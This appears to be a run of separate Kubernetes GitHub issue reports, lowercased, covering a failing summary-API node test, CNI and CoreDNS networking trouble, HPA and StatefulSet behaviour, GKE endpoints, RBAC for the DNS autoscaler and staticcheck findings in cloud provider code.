stats-busybox-1 started at 2017-09-05 14:31:17 -0700 pdt  0+1 container statuses recorded \r sep  5 14:32:39.181: info: \tcontainer busybox-container ready: true, restart count 1\r sep  5 14:32:39.181: info: stats-busybox-0 started at 2017-09-05 14:31:17 -0700 pdt  0+1 container statuses recorded \r sep  5 14:32:39.181: info: \tcontainer busybox-container ready: true, restart count 1\r w0905 14:32:39.183456   20651 metrics_grabber.go:81  master node is not registered. grabbing metrics from scheduler, controllermanager and clusterautoscaler is disabled.\r sep  5 14:32:39.192: info: \r latency metrics for node anfernee-xps-15-9560\r step: dumping a list of prepulled images on each node to file /tmp/_artifacts/170905t142935/image-puller.txt\r sep  5 14:32:39.193: info: waiting up to 3m0s for all  but 0  nodes to be ready\r step: destroying namespace \ e2e-tests-summary-test-pxg8h\  for this suite.\r sep  5 14:33:07.225: info: namespace: e2e-tests-summary-test-pxg8h, resource: bindings, ignored listing per whitelist\r sep  5 14:33:07.296: info: namespace e2e-tests-summary-test-pxg8h deletion completed in 28.10161287s\r \r \r • failure  110.186 seconds \r  k8s.io  summary api\r /home/anfernee/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:668\r   when querying /stats/summary\r   /home/anfernee/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/summary_test.go:41\r     should report resource usage through the stats api  it \r     /home/anfernee/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/summary_test.go:52\r \r     timed out after 60.000s.\r     expected\r         <string>: summary\r     to match fields: {\r      .node.memory:\r     \texpected\r     \t    <string>: memorystats\r     \tto match fields: {\r     \t.usagebytes:\r     \t\texpected\r     \t\t    <uint64>: 21330161664\r     \t\tto be <=\r     \t\t    <int64>: 10000000000\r     \t.workingsetbytes:\r     \t\texpected\r     \t\t    <uint64>: 17617674240\r     \t\tto be <=\r     \t\t    <int64>: 10000000000\r     \t}\r     \t, .node.fs:\r     \texpected\r     \t    <string>: fsstats\r     \tto match fields: {\r     \t.availablebytes:\r     \t\texpected\r     \t\t    <uint64>: 535575937024\r     \t\tto be <=\r     \t\t    <int64>: 100000000000\r     \t.capacitybytes:\r     \t\texpected\r     \t\t    <uint64>: 672667090944\r     \t\tto be <=\r     \t\t    <int64>: 100000000000\r     \t}\r     \t, .node.runtime:\r     \texpected\r     \t    <string>: runtimestats\r     \tto match fields: {\r     \t.imagefs:\r     \t\texpected\r     \t\t    <string>: fsstats\r     \t\tto match fields: {\r     \t\t.availablebytes:\r     \t\t\texpected\r     \t\t\t    <uint64>: 535575937024\r     \t\t\tto be <=\r     \t\t\t    <int64>: 100000000000\r     \t\t.capacitybytes:\r     \t\t\texpected\r     \t\t\t    <uint64>: 672667090944\r     \t\t\tto be <=\r     \t\t\t    <int64>: 100000000000\r     \t\t}\r     \t\t\r     \t}\r     \t \r        .pods e2e-tests-summary-test-pxg8h::stats-busybox-0 .containers busybox-container .rootfs:\r     \texpected\r     \t    <string>: fsstats\r     \tto match fields: {\r     \t.availablebytes:\r     \t\texpected\r     \t\t    <uint64>: 535575937024\r     \t\tto be <=\r     \t\t    <int64>: 100000000000\r     \t.capacitybytes:\r     \t\texpected\r     \t\t    <uint64>: 672667090944\r     \t\tto be <=\r     \t\t    <int64>: 100000000000\r     \t}\r     \t, .pods e2e-tests-summary-test-pxg8h::stats-busybox-0 .containers busybox-container .logs:\r     \texpected\r     \t    <string>: fsstats\r     \tto match fields: {\r     \t.availablebytes:\r     \t\texpected\r     \t\t    <uint64>: 535575937024\r     \t\tto be <=\r     \t\t    <int64>: 100000000000\r     \t.capacitybytes:\r     \t\texpected\r     \t\t    <uint64>: 672667090944\r     \t\tto be <=\r     \t\t    <int64>: 100000000000\r     \t}\r     \t ,  .pods e2e-tests-summary-test-pxg8h::stats-busybox-0 .volumestats test-empty-dir .fsstats.availablebytes:\r     \texpected\r     \t    <uint64>: 535576403968\r     \tto be <=\r     \t    <int64>: 100000000000, .pods e2e-tests-summary-test-pxg8h::stats-busybox-0 .volumestats test-empty-dir .fsstats.capacitybytes:\r     \texpected\r     \t    <uint64>: 672667090944\r     \tto be <=\r     \t    <int64>: 100000000000  ,   .pods e2e-tests-summary-test-pxg8h::stats-busybox-1 .containers busybox-container .rootfs:\r     \texpected\r     \t    <string>: fsstats\r     \tto match fields: {\r     \t.availablebytes:\r     \t\texpected\r     \t\t    <uint64>: 535575937024\r     \t\tto be <=\r     \t\t    <int64>: 100000000000\r     \t.capacitybytes:\r     \t\texpected\r     \t\t    <uint64>: 672667090944\r     \t\tto be <=\r     \t\t    <int64>: 100000000000\r     \t}\r     \t, .pods e2e-tests-summary-test-pxg8h::stats-busybox-1 .containers busybox-container .logs:\r     \texpected\r     \t    <string>: fsstats\r     \tto match fields: {\r     \t.availablebytes:\r     \t\texpected\r     \t\t    <uint64>: 535575937024\r     \t\tto be <=\r     \t\t    <int64>: 100000000000\r     \t.capacitybytes:\r     \t\texpected\r     \t\t    <uint64>: 672667090944\r     \t\tto be <=\r     \t\t    <int64>: 100000000000\r     \t}\r     \t ,  .pods e2e-tests-summary-test-pxg8h::stats-busybox-1 .volumestats test-empty-dir .fsstats.availablebytes:\r     \texpected\r     \t    <uint64>: 535576395776\r     \tto be <=\r     \t    <int64>: 100000000000, .pods e2e-tests-summary-test-pxg8h::stats-busybox-1 .volumestats test-empty-dir .fsstats.capacitybytes:\r     \texpected\r     \t    <uint64>: 672667090944\r     \tto be <=\r     \t    <int64>: 100000000000   \r     }\r     \r \r     /home/anfernee/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/summary_test.go:265\r ------------------------------\r i0905 14:33:07.301038   20651 e2e_node_suite_test.go:182  stopping node services...\r i0905 14:33:07.301109   20651 server.go:303  kill server \ services\ \r i0905 14:33:07.301142   20651 server.go:340  killing process 21187  services  with -term\r i0905 14:33:07.327463   20651 server.go:303  kill server \ kubelet\ \r i0905 14:33:07.332492   20651 services.go:156  fetching log files...\r i0905 14:33:07.332568   20651 services.go:165  get log file \ kern.log\  with journalctl command  -k .\r i0905 14:33:07.427485   20651 services.go:165  get log file \ docker.log\  with journalctl command  -u docker .\r i0905 14:33:07.458741   20651 services.go:165  get log file \ cloud-init.log\  with journalctl command  -u cloud  .\r e0905 14:33:07.462169   20651 services.go:168  failed to get \ cloud-init.log\  from journald: failed to add filter for units: no data available\r , exit status 1\r i0905 14:33:07.462363   20651 services.go:165  get log file \ kubelet.log\  with journalctl command  -u kubelet-393838735.service .\r i0905 14:33:07.644452   20651 e2e_node_suite_test.go:187  tests finished\r \r \r \r summarizing 1 failure:\r \r  fail   k8s.io  summary api when querying /stats/summary  it  should report resource usage through the stats api \r /home/anfernee/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/summary_test.go:265\r \r ran 1 of 247 specs in 155.736 seconds\r fail! -- 0 passed | 1 failed | 0 pending | 246 skipped \r \r ginkgo ran 1 suite in 2m36.002969374s\r test suite failed\r \r    \r \r \r   anything else we need to know?  :\r it's beefy for a laptop, beyond the bounded expected value. the test shouldn't assume what environment it's running on. if it does assume so, not sure is there a document pointing that out?\r    \r $ free -h\r               total        used        free      shared  buff/cache   available\r mem:            30g         12g        8.0g        1.7g         10g         16g\r swap:          1.9g         28k        1.9g\r $ df -h /\r filesystem      size  used avail use% mounted on\r /dev/nvme0n1p6  627g   96g  499g  17% /\r \r    \r \r   environment  :\r - kubernetes version  use  kubectl version  : tip\r - cloud provider or hardware configuration  : n/a\r - os  e.g. from /etc/os-release : \r    $ cat /etc/os-release \r name=\ ubuntu\ \r version=\ 16.04.2 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.2 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r - kernel  e.g.  uname -a  :\r    \r $ uname -a\r linux anfernee-xps-15-9560 4.10.0-32-generic  36~16.04.1-ubuntu smp wed aug 9 09:19:02 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r after initializing a cluster with  kubeadm init --pod-network-cidr 10.22.33.128/25  and installing the kube-router networking addon with  kubectl apply -f https://raw.githubusercontent.com/cloudnativelabs/kube-router/master/daemonset/kubeadm-kuberouter.yaml  the master node has the status \ notready\ . in particular the node description contains the following message for the \ ready\  type:  runtime network not ready: networkready=false reason:networkpluginnotready message:docker: network plugin is not ready: cni config uninitialized \r \r   what you expected to happen  :\r the master node should end up in the \ ready\  state.\r \r   how to reproduce it  as minimally and precisely as possible   :\r     follow the instructions on  https://kubernetes.io/docs/setup/independent/install-kubeadm/  on a centos 7 system.\r     run  kubeadm init --pod-network-cidr 10.22.33.128/25\  and wait for the cluster to successfully initialize.\r     run  kubectl apply -f https://raw.githubusercontent.com/cloudnativelabs/kube-router/master/daemonset/kubeadm-kuberouter.yaml  and make sure you don't get any errors\r     use  kubectl get nodes  and  kubectl describe node <node>  to see the state/error mentioned above\r \r   anything else we need to know?  :\r from reading around the net it seems that some form of config is supposed to be found in  /etc/cni/net.d  but the directory  /etc/cni  doesn't exist.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.3\ , gitcommit:\ f0efb3cb883751c5ffdbe6d515f3cb4fbe7b7acd\ , gittreestate:\ clean\ , builddate:\ 2017-11-08t18:39:33z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.3\ , gitcommit:\ f0efb3cb883751c5ffdbe6d515f3cb4fbe7b7acd\ , gittreestate:\ clean\ , builddate:\ 2017-11-08t18:27:48z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:\r simple virtual machine with 4g ram, 2 cpus and 50g storage.\r \r - os  e.g. from /etc/os-release :\r centos 7.4\r \r - kernel  e.g.  uname -a  :\r linux node1 3.10.0-693.el7.x86_64  1 smp tue aug 22 21:09:27 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:\r only the tools mentioned on the installation page.\r

 \r i request the pod log websocket api, but after some time, it will close auto, what should i do

this is like  54398 but i'd like to get consensus that everything except  vendor/  should be moved over, not just readme and license files.  \r \r i bumped into this  undocumented?  policy that staging is authoritative when i was trying to get a consistent code-of-conduct.md checked in everywhere, which led me to open  57473\r \r now i'd like to get contribtuing.md files that state this policy  no pr's here, go to kubernetes/kubernetes , and finishing syncing over all files that are in repo roots.  please comment here if there are files that can't be synced over\r \r    \r spiffxp@whodis:k8s.io  master % $ for d in $ ls -1 | grep -v .txt ; do echo ...$d...; ls -a1 $d >staging-$d.txt; ls -a1 ~/w/kubernetes/$d >published-$d.txt; diff -yw60 --suppress-common-lines {staging,published}-$d.txt; done | grep -v '\\ .git\\|vendor\\ $'\r ...api...\r ...apiextensions-apiserver...\r ...apimachinery...\r \t\t\t     >\thack\r ...apiserver...\r \t\t\t     >\thack\r ...client-go...\r \t\t\t     >\t.github\r \t\t\t     >\t.travis.yml\r \t\t\t     >\tchangelog.md\r \t\t\t     >\tinstall.md\r \t\t\t     >\treadme.md\r ...code-generator...\r ...kube-aggregator...\r ...metrics...\r \t\t\t     >\tcontributing.md\r license\t\t\t     |\timplementations.md\r \t\t\t     >\tcode-of-conduct.md\r ...sample-apiserver...\r \t\t\t     >\t.gitignore\r ...sample-controller...\r

\r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r  \r \r   what happened  :\r we are  starting  to use the hpa  horizontal pod  autoscaling  for one of  our components. what is  special about this  particular  component is  that the warm up period is very long  sometimes  even more  than 30 minutes . during that time, the pod is in running state but its containers are in not ready state.\r this  pod  is of course not  able to receive any traffic so the  metric we  use in the hpa is ignoring those  pods that are not  ready.\r \r the  equation used  by hpa  to calculate the  new  number  of replicas is as  follows\r  new replica count= current replica  count   current metric value / expected metric  \r \r our problem is  that the equation used  by hpa to calculate the  new number  of  replicas  is including in the \ current  replica count\  the pods that  are  \ not  ready\  so the value  for \ new replica count\  is not correct. since this warm up is so long  we end up by having a lot of more instances of our services of what it should  be necessary.  they eventually get deleted once  gradually the metrics start going down but  that will  take a lot of time and a big waste of resources without mentioning  that with a  changing traffic this hpa will never stabilize  \r \r   what you expected to happen  :\r i would like to have a flag somewhere  where  i tell hpa to don't include  in the  \ current replica count\  the pods  that are  in \ not ready\  state\r \r   how to reproduce it  as minimally and precisely as possible   :\r have a component that takes a lot of time to start and being  able to receive traffic. then define  a metric that  will ignore  the pods  that  are  not ready. finally create  a  metric that  will scale that component based on  the mentioned  metric\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version 1.7\r - cloud provider or hardware configuration:\r azure\r

is this a bug report or feature request?  :\r  \r   what happened  :\r using this issue to track launch of ingress-gce 1.0.0\r \r the following fixes are planned for the 1.0.0 release:\r \r     1. large refactor to fix scalability of controller.\r     2. implementation of rate limiting for gce calls.\r \r current  image  https://github.com/kubernetes/kubernetes/blob/master/cluster/gce/manifests/glbc.manifest  points to an alpha version. \r \r pr containing image-bump:  61302 \r \r

the resource builder flags api for kubectl wait isn't consistent with the others.  it makes expanding the options impractical.

 \r \r   what happened  :\r using endpoints with kubernetes 1.8.11-gke.0 has stopped working version 1.8.10-gke.0 works fine.\r \r   what you expected to happen  :\r  our app should be able to use the service name to access the endpoint\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    \r kind: service\r apiversion: v1\r metadata:\r  namespace: wonderland\r  name: point\r spec:\r  ports:\r  - port: 80\r    targetport: 80\r ---\r kind: endpoints\r apiversion: v1\r metadata:\r  namespace: wonderland\r  name: point\r subsets:\r  - addresses:\r      - ip: 10.132.0.10\r    ports:\r      - port: 80\r    \r   anything else we need to know?  :\r \r the file above works with 1.8.10-gke.0 but not with 1.8.11-gke.0 and tested 1.10.5-gke.0 does not work either\r \r

hi all,\r \r am setting up a kubernetes cluster with 1 master 2 nodes in locally. everything is working fine except pods does not have access to internet/local network access, below are my kubernetes details,\r \r could you please help me to resolve this issue,\r ---------------------------------------------------------------------------------------------\r below the pods details,\r \r    \r  -  root@k8smaster ~   kubectl get pods --all-namespaces \r - namespace     name                                             ready   status    restarts   age\r - default       nh-dashboard-d77596b76-8rtcm                     1/1     running   0          53m\r - kube-system   coredns-86c58d9df4-ckb6d                         1/1     running   2          4m47s\r - kube-system   coredns-86c58d9df4-q4pvw                         1/1     running   2          4m47s\r - kube-system   etcd-k8smaster.nanoheal.com                      1/1     running   0          115m\r - kube-system   kube-apiserver-k8smaster.nanoheal.com            1/1     running   0          115m\r - kube-system   kube-controller-manager-k8smaster.nanoheal.com   1/1     running   0          115m\r - kube-system   kube-flannel-ds-amd64-44t4d                      1/1     running   0          108m\r - kube-system   kube-flannel-ds-amd64-5r6xd                      1/1     running   0          108m\r - kube-system   kube-flannel-ds-amd64-rmjbc                      1/1     running   0          108m\r - kube-system   kube-proxy-gsfpd                                 1/1     running   0          115m\r - kube-system   kube-proxy-pd7mw                                 1/1     running   0          115m\r - kube-system   kube-proxy-znbfc                                 1/1     running   0          116m\r - kube-system   kube-scheduler-k8smaster.nanoheal.com            1/1     running   0          115m  url \r    \r \r ----------------------------------------------\r below the k8s master resolv.conf output,\r    \r  root@k8smaster ~   cat /etc/resolv.conf\r   generated by networkmanager\r search nanoheal.com\r nameserver 103.8.44.5\r    \r \r ----------------------------------------------\r below the pod resolv.conf output,\r    \r  root@nh-dashboard-d77596b76-8rtcm:~  cat /etc/resolv.conf \r nameserver 10.96.0.10\r search default.svc.cluster.local svc.cluster.local cluster.local nanoheal.com\r options ndots:5\r    \r \r ---------------------------------------------------\r below the response from inside the pod, \r    \r root@nh-dashboard-d77596b76-8rtcm:/  curl  8.8.8.8\r curl:  7  failed to connect to 8.8.8.8 port 80: connection timed out\r    \r \r ---------------------------------------------------\r \r below the srvices details,\r \r    \r  root@k8smaster ~   kubectl get svc --all-namespaces \r namespace     name                   type        cluster-ip      external-ip   port s          age\r default       kubernetes             clusterip   10.96.0.1       <none>        443/tcp         121m\r default       nh-dashboard-svc       nodeport    10.98.163.156   <none>        80:30001/tcp    107m\r kube-system   kube-dns               clusterip   10.96.0.10      <none>        53/udp,53/tcp   120m\r kube-system   kubernetes-dashboard   nodeport    10.103.29.149   <none>        443:31187/tcp   90m\r    \r --------------------------------------------\r below logs from coredns pod,\r \r  error  plugin/errors: 2 5097456227146284065.2749918219024011569. hinfo: unreachable backend: read udp 192.168.1.5:35245->103.8.44.5:53: i/o timeout\r   error  plugin/errors: 2 5097456227146284065.2749918219024011569. hinfo: unreachable backend: read udp 192.168.1.5:43704->8.8.8.8:53: i/o timeout\r   error  plugin/errors: 2 5097456227146284065.2749918219024011569. hinfo: unreachable backend: read udp 192.168.1.5:36364->103.8.44.5:53: i/o timeout\r   error  plugin/errors: 2 5097456227146284065.2749918219024011569. hinfo: unreachable backend: read udp 192.168.1.5:46141->103.8.44.5:53: i/o timeout\r   error  plugin/errors: 2 5097456227146284065.2749918219024011569. hinfo: unreachable backend: read udp 192.168.1.5:50167->103.8.44.5:53: i/o timeout\r   error  plugin/errors: 2 5097456227146284065.2749918219024011569. hinfo: unreachable backend: read udp 192.168.1.5:34083->8.8.8.8:53: i/o timeout\r   error  plugin/errors: 2 5097456227146284065.2749918219024011569. hinfo: unreachable backend: read udp 192.168.1.5:36951->8.8.8.8:53: i/o timeout\r e0305 12:13:40.508343       1 reflector.go:205  github.com/coredns/coredns/plugin/kubernetes/controller.go:318: failed to list  v1.namespace: get https://10.96.0.1:443/api/v1/namespaces?limit=500&resourceversion=0: dial tcp 10.96.0.1:443: i/o timeout\r e0305 12:13:40.509435       1 reflector.go:205  github.com/coredns/coredns/plugin/kubernetes/controller.go:313: failed to list  v1.endpoints: get https://10.96.0.1:443/api/v1/endpoints?limit=500&resourceversion=0: dial tcp 10.96.0.1:443: i/o timeout\r e0305 12:13:40.510471       1 reflector.go:205  github.com/coredns/coredns/plugin/kubernetes/controller.go:311: failed to list  v1.service: get https://10.96.0.1:443/api/v1/services?limit=500&resourceversion=0: dial tcp 10.96.0.1:443: i/o timeout\r \r --------------------------------\r below is my coredns config,\r \r    \r  apiversion: v1\r data:\r   corefile: |\r     .:53 {\r         errors\r         health\r         kubernetes cluster.local in-addr.arpa ip6.arpa {\r            pods insecure\r            upstream\r            fallthrough in-addr.arpa ip6.arpa\r         }\r         prometheus :9153\r         proxy . /etc/resolv.conf\r         cache 30\r         loop\r         reload\r         loadbalance\r     }\r kind: configmap\r metadata:\r   creationtimestamp: \ 2019-03-05t10:12:19z\ \r   name: coredns\r   namespace: kube-system\r   resourceversion: \ 10209\ \r   selflink: /api/v1/namespaces/kube-system/configmaps/coredns\r   uid: 28f332b5-3f2f-11e9-9f9a-50af73624a9e\r   \r    \r \r and coredns is restarting automatically.\r \r kubernetes version : 1.13.4\r docker version : 1.13.1\r os : centos linux release 7.6.1810\r network : flannel\r \r please help me to fix this issue, i have been troubling from past 2 days.\r \r

docker supports a way to push environment variables to the containers using env files. i see that there is a way to push env-variables via the pod creation json but i don't see anyway to push env-files for the same. is there any other way to do this?

there is a bunch of of places where we use docker images hosted on private accounts. i think we should switch there to some more official sources or host the images on gcr.io/google_containers.       ./contrib/prometheus/prometheus-all.json: \ jayunit100/kube-prometheus\  ./examples/cluster-dns/dns-backend-rc.yaml: ddysher/dns-backend ./examples/cluster-dns/dns-frontend-pod.yaml: ddysher/dns-frontend ./examples/guestbook-go/redis-master-controller.json: \ image\ :\ gurpartap/redis\  ./examples/guestbook-go/redis-slave-controller.json: \ image\ :\ gurpartap/redis\  ./examples/hazelcast/hazelcast-controller.yaml: quay.io/pires/hazelcast-kubernetes:0.3.1 ./examples/meteor/meteor-controller.json: \ chees/meteor-gke-example:latest\  ./examples/nfs/nfs-server-pod.yaml: jsafrane/nfs-data ./examples/phabricator/phabricator-controller.json: \ fgrzadkowski/example-php-phabricator\  ./examples/rethinkdb/admin-pod.yaml: - antmanler/rethinkdb:1.16.0 ./examples/rethinkdb/rc.yaml: - antmanler/rethinkdb:1.16.0 ./examples/spark/spark-master.json: \ mattf/spark-master\  ./examples/spark/spark-worker-controller.json: \ mattf/spark-worker\  ./examples/storm/storm-nimbus.json: \ mattf/storm-nimbus\  ./examples/storm/storm-worker-controller.json: \ mattf/storm-worker\  ./examples/storm/zookeeper.json: \ mattf/zookeeper\

looks like the hpa tests are quite lengthy.  a couple failed.  i'm digging into the details now, will close this issue if its an anomoly or config issue.   update  deleted lengthy debug trace to save readers eyes: the fact is polling takes a while depending on constants we pick + deployments need to be enabled, one of my tests i hadn't done that .

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-staging-parallel/459/  failed:  k8s.io  emptydir volumes should support  root,0666,tmpfs   conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/empty_dir.go:73 expected error:     < errors.errorstring | 0xc8205785a0>: {         s: \ expected container test-container success: gave up waiting for pod 'pod-3bdc8a8e-b353-11e6-a7e3-0242ac110006' to be 'success or failure' after 5m0s\ ,     }     expected container test-container success: gave up waiting for pod 'pod-3bdc8a8e-b353-11e6-a7e3-0242ac110006' to be 'success or failure' after 5m0s not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:2283

i note that there is no serviceaccount on dns-horizontal-autoscaler.\r \r https://github.com/kubernetes/kubernetes/blob/master/cluster/addons/dns-horizontal-autoscaler/dns-horizontal-autoscaler.yaml\r \r it does not appear to work under  my  rbac configuration therefore.\r \r do we know what permissions it needs?  certainly list nodes....

is this a bug report or feature request?  :\r \r  \r i'd like to think this is a bug, but i fear it may actually be a feature request.\r \r   what happened  :\r \r pod startup failed during creation of or rolling update to a statefulset  for any of a number of reasons, e.g., a typo in an image name, or just a crash bug in the code being run .  rollout remains stalled even if the update is rolled back or if the statefulset is updated again with a corrected image.  the only way to recover is via manual intervention  e.g., delete the pod that was failing, causing it to be recreated in the corrected state, and allowing subsequent pods to start .\r \r   what you expected to happen  :\r \r i expected updating the statefulset configuration with a corrected or reverted image spec to correct the problem.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r  1  define and create a statefulset with 2 replicas of a single container pod with some   non-working   image.\r  2  observe that statefulset comes up with pod 0 in a restart loop  e.g., waiting: crashloopbackoff  and pod 1 does not start.\r  3  patch the statefulset to update the image to a   working   image.\r  4  observe that the condition of the pods does not change, even though the statefulset is now configured with the new, corrected image.\r  5  manually delete pod 0.\r  6  observe that pods 0 and 1 now both come up successfully running the new image.\r \r alternatively:\r \r  1  define and create a statefulset with 2 replicas of a single container pod with some   working   image.\r  2  observe that statefulset comes up with pods 0 and 1 both running successfully.\r  3  patch the statefulset to update the image to a   non-working   image.\r  4  observe that pod 1 is updated to the new image and goes into a restart loop  e.g., waiting: crashloopbackoff  while pod 0 remains running the old image.\r  5a  patch the statefulset again to update the image to a third,   working   image.\r  5b  revert the image change in step  3 , e.g., using  kubectl rollout undo \r  6  observe that the condition of the pods does not change, even though the statefulset is now configured with the new, corrected image.\r  7  manually delete pod 1.\r  8  observe that pods 0 and 1 now both come up successfully running the new image.\r \r   anything else we need to know?  :\r \r to my sensibilities this is just a bug: why would statefulset support rolling updates at all if there's no way for it to handle the failure case?  however, as i mentioned above, i fear this is actually a feature request.  our use case is a ci/cd system, so end-to-end automation is essential.  i'm sure that with some effort we could implement the necessary monitoring and intervention by automated means via a kludgy combination of polling and timeouts, but the whole reason for switching to kubernetes in the first place was to avoid having to write and debug that kind of fussy and error prone stuff.  statefulset seems to be in exactly the right place to know what needs to be done and to do it, but unfortunately it now appears to only handle the happy path.\r \r edited to add: another manual intervention that is effective: rather than deleting the pod that is stuck in a restart loop, directly update the image in the pod itself.  this will result in a working pod and allow the rollout to resume.  note that there is nothing that requires the image so used to be the same image as the one that the statefulset was updated with, but if this image update were to be done by the statefulset controller we'd get exactly the behavior i'd like to see.  from an uninformed outsider's perspective this seems like a small change to the rolling update logic.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9\r - cloud provider or hardware configuration/os/etc: mac osx running minikube v0.24.1\r

hi, i am currently working on k8s cloud provider and i ran  staticcheck  https://staticcheck.io/  in pkg/cloudprovider package. turned out that some providers code have unused variables and logic problems. here is the report:\r \r     cloudprovider/providers/aws/:\r session.new is deprecated\r    pkg/cloudprovider/providers/aws/aws.go:653:21: session.new is deprecated: use newsession functions to create sessions instead. newsession has the same functionality as new except an error can be returned when the func is called instead of waiting to receive an error until a request is made.   sa1019 \r pkg/cloudprovider/providers/aws/aws.go:670:23: session.new is deprecated: use newsession functions to create sessions instead. newsession has the same functionality as new except an error can be returned when the func is called instead of waiting to receive an error until a request is made.   sa1019 \r pkg/cloudprovider/providers/aws/aws.go:684:25: session.new is deprecated: use newsession functions to create sessions instead. newsession has the same functionality as new except an error can be returned when the func is called instead of waiting to receive an error until a request is made.   sa1019 \r pkg/cloudprovider/providers/aws/aws.go:698:28: session.new is deprecated: use newsession functions to create sessions instead. newsession has the same functionality as new except an error can be returned when the func is called instead of waiting to receive an error until a request is made.   sa1019 \r pkg/cloudprovider/providers/aws/aws.go:706:28: session.new is deprecated: use newsession functions to create sessions instead. newsession has the same functionality as new except an error can be returned when the func is called instead of waiting to receive an error until a request is made.   sa1019 \r pkg/cloudprovider/providers/aws/aws.go:718:23: session.new is deprecated: use newsession functions to create sessions instead. newsession has the same functionality as new except an error can be returned when the func is called instead of waiting to receive an error until a request is made.   sa1019 \r pkg/cloudprovider/providers/aws/aws_test.go:864:13: this value of err is never used  sa4006  \r    \r     cloudprovider/providers/azure/:\r some bugs and unused values\r    \r pkg/cloudprovider/providers/azure/azure_blobdiskcontroller.go:299:3: the surrounding loop is unconditionally terminated  sa4004 \r pkg/cloudprovider/providers/azure/azure_routes.go:109:30: argument ctx is overwritten before first use  sa4009 \r pkg/cloudprovider/providers/azure/azure_routes.go:152:30: argument ctx is overwritten before first use  sa4009 \r pkg/cloudprovider/providers/azure/azure_standard.go:344:21: this value of ok is never used  sa4006 \r pkg/cloudprovider/providers/azure/azure_test.go:486:2: this value of sg is never used  sa4006 \r pkg/cloudprovider/providers/azure/azure_test.go:488:2: this value of sg is never used  sa4006 \r pkg/cloudprovider/providers/azure/azure_test.go:503:2: this value of sg is never used  sa4006 \r pkg/cloudprovider/providers/azure/azure_test.go:605:2: this value of lb is never used  sa4006 \r pkg/cloudprovider/providers/azure/azure_test.go:655:2: this value of lb is never used  sa4006 \r pkg/cloudprovider/providers/azure/azure_test.go:676:2: this value of updatedloadbalancer is never used  sa4006 \r pkg/cloudprovider/providers/azure/azure_test.go:824:2: this value of sg is never used  sa4006 \r pkg/cloudprovider/providers/azure/azure_test.go:846:2: this value of sg is never used  sa4006 \r pkg/cloudprovider/providers/azure/azure_test.go:1085:3: empty branch  sa9003 \r pkg/cloudprovider/providers/azure/azure_test.go:1881:2: this value of sg is never used  sa4006 \r pkg/cloudprovider/providers/azure/azure_test.go:1980:2: this value of sg is never used  sa4006 \r pkg/cloudprovider/providers/azure/azure_test.go:1982:2: this value of sg is never used  sa4006 \r pkg/cloudprovider/providers/azure/azure_test.go:2049:2: this value of sg is never used  sa4006 \r pkg/cloudprovider/providers/azure/azure_test.go:2051:2: this value of sg is never used  sa4006 \r pkg/cloudprovider/providers/azure/azure_test.go:2118:2: this value of sg is never used  sa4006 \r pkg/cloudprovider/providers/azure/azure_test.go:2120:2: this value of sg is never used  sa4006 \r pkg/cloudprovider/providers/azure/azure_test.go:2191:2: this value of sg is never used  sa4006 \r pkg/cloudprovider/providers/azure/azure_test.go:2193:2: this value of sg is never used  sa4006 \r pkg/cloudprovider/providers/azure/azure_test.go:2198:2: this value of sg is never used  sa4006 \r pkg/cloudprovider/providers/azure/azure_test.go:2286:2: this value of sg is never used  sa4006 \r pkg/cloudprovider/providers/azure/azure_test.go:2288:2: this value of sg is never used  sa4006 \r pkg/cloudprovider/providers/azure/azure_test.go:2346:2: this value of sg is never used  sa4006 \r pkg/cloudprovider/providers/azure/azure_test.go:2348:2: this value of sg is never used  sa4006 \r pkg/cloudprovider/providers/azure/azure_test.go:2353:2: this value of sg is never used  sa4006 \r pkg/cloudprovider/providers/azure/azure_test.go:2453:2: this value of sg is never used  sa4006 \r pkg/cloudprovider/providers/azure/azure_test.go:2455:2: this value of sg is never used  sa4006 \r pkg/cloudprovider/providers/azure/azure_test.go:2460:2: this value of sg is never used  sa4006 \r pkg/cloudprovider/providers/azure/azure_test.go:2472:2: this value of sg is never used  sa4006 \r pkg/cloudprovider/providers/azure/azure_test.go:2543:2: this value of sg is never used  sa4006 \r pkg/cloudprovider/providers/azure/azure_test.go:2545:2: this value of sg is never used  sa4006 \r pkg/cloudprovider/providers/azure/azure_test.go:2550:2: this value of sg is never used  sa4006 \r pkg/cloudprovider/providers/azure/azure_test.go:2555:2: this value of sg is never used  sa4006 \r pkg/cloudprovider/providers/azure/azure_test.go:2560:2: this value of sg is never used  sa4006 \r 